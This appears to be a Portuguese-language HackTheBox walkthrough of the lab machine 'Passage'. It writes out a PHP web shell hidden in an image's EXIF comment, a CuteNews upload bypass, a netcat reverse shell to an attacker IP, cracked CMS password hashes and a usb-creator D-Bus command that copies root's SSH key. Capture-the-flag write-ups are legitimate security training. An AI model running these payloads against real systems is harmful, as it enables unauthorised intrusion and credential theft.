chu@antisec:~/htb$

← ../ writeups

chu@antisec:~/htb$ cat passage.md

Passage - HackTheBox

Back to all write-ups: here

Passage - HackTheBox
Passage - HackTheBox

WriteUp by chu

Machine Maker: ChefByzen

• Nessa máquina vamos utilizar a falha Arbitrary File Upload utilizando uma técnica de enviar uma imagem com um código PHP dentro dela através da ediçaõ da requisição em nosso proxy(Burp Suite) e assim nos possibilitando a execução de código remoto.

chu@antisec:~/htb$ cat tools.txt

Tools utilizadas:

  • nmap
  • exiftool
  • BurpSuite
  • netcat

Usaremos o nmap para encontrar portas e serviços rodando na máquina:

shell
nmap -v -sS -Pn -A 10.10.10.206

-v: verbose(output mais detalhado).
-sS: syn scan.
-Pn: já sabemos que o host está ativo então desativamos o discovery.
-A: Detecção de OS, detecção de versão, script scanning, and traceroute

Nosso resultado:

nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=1/6%OT=22%CT=1%CU=37302%PV=Y%DS=2%DC=T%G=Y%TM=5FF5BCD0
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=10A%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=A)SEQ(
OS:SP=10A%GCD=2%ISR=10C%TI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 14.778 days (since Tue Dec 22 13:56:06 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=266 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   188.90 ms 10.10.14.1
2   189.09 ms passage.htb (10.10.10.206)

Podemos ver duas portas abertas, a 22(SSH) e a 80(HTTP).

Ao acessar a porta 80, nos deparamos com um website.

Ao acessar a porta 80, nos deparamos com um website.
Ao acessar a porta 80, nos deparamos com um website.

Ao analisar o código fonte, podemos perceber que o site está utilizando um CMS(Sistema de gerenciamento de conteúdo) chamado 'CuteNews'.

Ao analisar o código fonte, podemos perceber que o site está utilizando um CMS(Sistema de…
Ao analisar o código fonte, podemos perceber que o site está utilizando um CMS(Sistema de…

Acessando o diretório do CMS, encontramos uma página de login e a versão do CuteNews(2.1.2)

Acessando o diretório do CMS, encontramos uma página de login e a versão do CuteNews(2.1.2)
Acessando o diretório do CMS, encontramos uma página de login e a versão do CuteNews(2.1.2)

Como não temos credenciais válidas, vamos tentar realizar a criação de um novo usuário pelo botão de 'Register'

Como não temos credenciais válidas, vamos tentar realizar a criação de um novo usuário pelo botão…
Como não temos credenciais válidas, vamos tentar realizar a criação de um novo usuário pelo botão…

Após conseguirmos o acesso inicial no CMS, podemos encontrar um campo de Upload de avatar na página de edição do perfil do usuário, portanto, podemos tentar fazer o upload de um arquivo malicioso. (:

Após conseguirmos o acesso inicial no CMS, podemos encontrar um campo de Upload de avatar na página…
Após conseguirmos o acesso inicial no CMS, podemos encontrar um campo de Upload de avatar na página…

Tentamos primeiro fazer upload de arquivos em PHP, porém, não foi possivel subir um arquivo com esta extensão... Como é um campo de upload de 'Avatar' podemos deduzir que o campo aceitará imagens, então, vamos inserir um código malicioso dentro de nossa imagem. Nosso código executa a função system do PHP através do parametro cmd recebido via GET. Para isso vamos utilizar o exiftool:

Tentamos primeiro fazer upload de arquivos em PHP, porém, não foi possivel subir um arquivo com…
Tentamos primeiro fazer upload de arquivos em PHP, porém, não foi possivel subir um arquivo com…
php
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' chu.jpeg;

Podemos conferir que conseguimos escrever o comentário dentro da imagem:

Podemos conferir que conseguimos escrever o comentário dentro da imagem
Podemos conferir que conseguimos escrever o comentário dentro da imagem
shell
exiftool chu.jpeg

Agora vamos tentar fazer o upload. Primeiro vamos ligar o BurpSuite(proxy) para interceptar a requisição e edita-la.

Agora vamos tentar fazer o upload. Primeiro vamos ligar o BurpSuite(proxy) para interceptar a…
Agora vamos tentar fazer o upload. Primeiro vamos ligar o BurpSuite(proxy) para interceptar a…

Ao interceptar a nossa requisição no Burp podemos ver que a extensão que está sendo enviada é a (.jpeg), como pede o campo no site.

Ao interceptar a nossa requisição no Burp podemos ver que a extensão que está sendo enviada é a…
Ao interceptar a nossa requisição no Burp podemos ver que a extensão que está sendo enviada é a…

Vamos altera-la para .php e encaminhar a requisição.

Vamos altera-la para .php e encaminhar a requisição.
Vamos altera-la para .php e encaminhar a requisição.

Podemos perceber que a requisição foi bem sucedida(200)

Podemos perceber que a requisição foi bem sucedida(200)
Podemos perceber que a requisição foi bem sucedida(200)

Agora basta acessarmos nosso arquivo para poder executar comandos no servidor, para isso vamos até o diretório onde são salvos os avatares: http://passage.htb/CuteNews/uploads/avatar_chu_chu.php

Agora basta acessarmos nosso arquivo para poder executar comandos no servidor, para isso vamos até…
Agora basta acessarmos nosso arquivo para poder executar comandos no servidor, para isso vamos até…

Conseguimos acessar nosso arquivo, agora podemos passar comandos do Linux pelo parametro pré definido, em meu caso 'cmd'. Com isso temos uma execução de código remoto :D

Conseguimos acessar nosso arquivo, agora podemos passar comandos do Linux pelo parametro pré…
Conseguimos acessar nosso arquivo, agora podemos passar comandos do Linux pelo parametro pré…
url
http://passage.htb/CuteNews/uploads/avatar_chu_chu.php?cmd=id

Ao pesquisar pelo nc, podemos ver que ele está instalado, portanto, vamos tentar utiliza-lo para receber uma reverse shell.

Ao pesquisar pelo nc, podemos ver que ele está instalado, portanto, vamos tentar utiliza-lo para…
Ao pesquisar pelo nc, podemos ver que ele está instalado, portanto, vamos tentar utiliza-lo para…
shell
http://passage.htb/CuteNews/uploads/avatar_chu_chu.php?cmd=whereis nc

Vamos abrir uma porta em nossa máquina.

Vamos abrir uma porta em nossa máquina.
Vamos abrir uma porta em nossa máquina.
shell
nc -vvnlp 1337

-vv: verbose 2
-n: nodns
-l: listen
-p: port

Agora vamos enviar a conexão com o netcat

Agora vamos enviar a conexão com o netcat
Agora vamos enviar a conexão com o netcat
shell
http://passage.htb/CuteNews/uploads/avatar_chu_chu.php?cmd=/bin/nc 10.10.14.238 1337 -e /bin/bash

-e: exec 'command'
http://passage.htb/CuteNews/uploads/avatar_chu_chu.php?cmd=/bin/nc 10.10.14.238 1337 -e /bin/bash
http://passage.htb/CuteNews/uploads/avatar_chu_chu.php?cmd=/bin/nc 10.10.14.238 1337 -e /bin/bash

w00t, estamos dentro!

Podemos melhorar nossa shell com python para ela se tornar interativa

Podemos melhorar nossa shell com python para ela se tornar interativa
Podemos melhorar nossa shell com python para ela se tornar interativa
shell
python -c 'import pty;pty.spawn("/bin/bash")'

Após um tempo procurando algo para escalar privilégios, podemos encontrar um arquivo chamado lines, no diretório: /var/www/html/CuteNews/cdata/users/lines

Após um tempo procurando algo para escalar privilégios, podemos encontrar um arquivo chamado lines…
Após um tempo procurando algo para escalar privilégios, podemos encontrar um arquivo chamado lines…

Podemos perceber que está em base64, portanto vamos decodar. Para isso vamos utilizar o site CyberChef

Após isso, temos uma saída mais limpa contendo algumas hashs:

creds
a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}

a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}

a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}

a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}

a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}

hashs:

creds
nadav:7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
sid:4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
paul:e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd >> cracked: atlanta1
kim:f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
egre55:4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc >> cracked: egre55

Usando o site Crackstation tivemos sucesso quebrando 2 senhas.

creds
paul:atlanta1
egre55:egre55

Listando a pasta /home podemos perceber que paul é um usuário válido, então tentamos acessa-lá: E conseguimos!

Listando a pasta /home podemos perceber que paul é um usuário válido, então tentamos acessa-lá: E…
Listando a pasta /home podemos perceber que paul é um usuário válido, então tentamos acessa-lá: E…

Após isso podemos encontrar chaves RSA para fazermos a conexão via SSH

Após isso podemos encontrar chaves RSA para fazermos a conexão via SSH
Após isso podemos encontrar chaves RSA para fazermos a conexão via SSH

Agora podemos nos conectar via ssh :D

Agora podemos nos conectar via ssh :D
Agora podemos nos conectar via ssh :D
shell
ssh paul@passage.htb -i id_rsa_paul

Após melhorar nossa conexão usando o SSH, analisando melhor a pasta /home/paul/.ssh/ podemor perceber que existe um arquivo de autorização (authorized_keys)... dentro dele temos uma chave pública.

Após melhorar nossa conexão usando o SSH, analisando melhor a pasta /home/paul/.ssh/ podemor…
Após melhorar nossa conexão usando o SSH, analisando melhor a pasta /home/paul/.ssh/ podemor…

Então agora logamos como 'nadav'

Então agora logamos como 'nadav'
Então agora logamos como 'nadav'
shell
ssh nadav@passage

Agora logados como 'nadav', começamos a procurar um maneira de escalar privilégios.

Agora logados como 'nadav', começamos a procurar um maneira de escalar privilégios.
Agora logados como 'nadav', começamos a procurar um maneira de escalar privilégios.

Ao analisar os processos rodando como root, pude perceber que existe um processo chamado: 'usb-creator-helper'

Ao analisar os processos rodando como root, pude perceber que existe um processo chamado:…
Ao analisar os processos rodando como root, pude perceber que existe um processo chamado:…
shell
ps aux | grep root

O Artigo nos da uma boa pista(até o nome do user \o/)

Com isso, podemos obter a chave RSA do root.

Com isso, podemos obter a chave RSA do root.
Com isso, podemos obter a chave RSA do root.

Podemos perceber que o arquivo é criado como root

shell
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/chu/chu.txt true

Agora basta logarmos usando a chave

Agora basta logarmos usando a chave
Agora basta logarmos usando a chave
shell
ssh root@passage.htb -i id_rsa_root

if i helped you, add + respect at my profile :D

My references:

references
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://www.exploit-db.com/exploits/48458
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
https://tiagosouza.com/reverse-shell-cheat-sheet-bind-shell/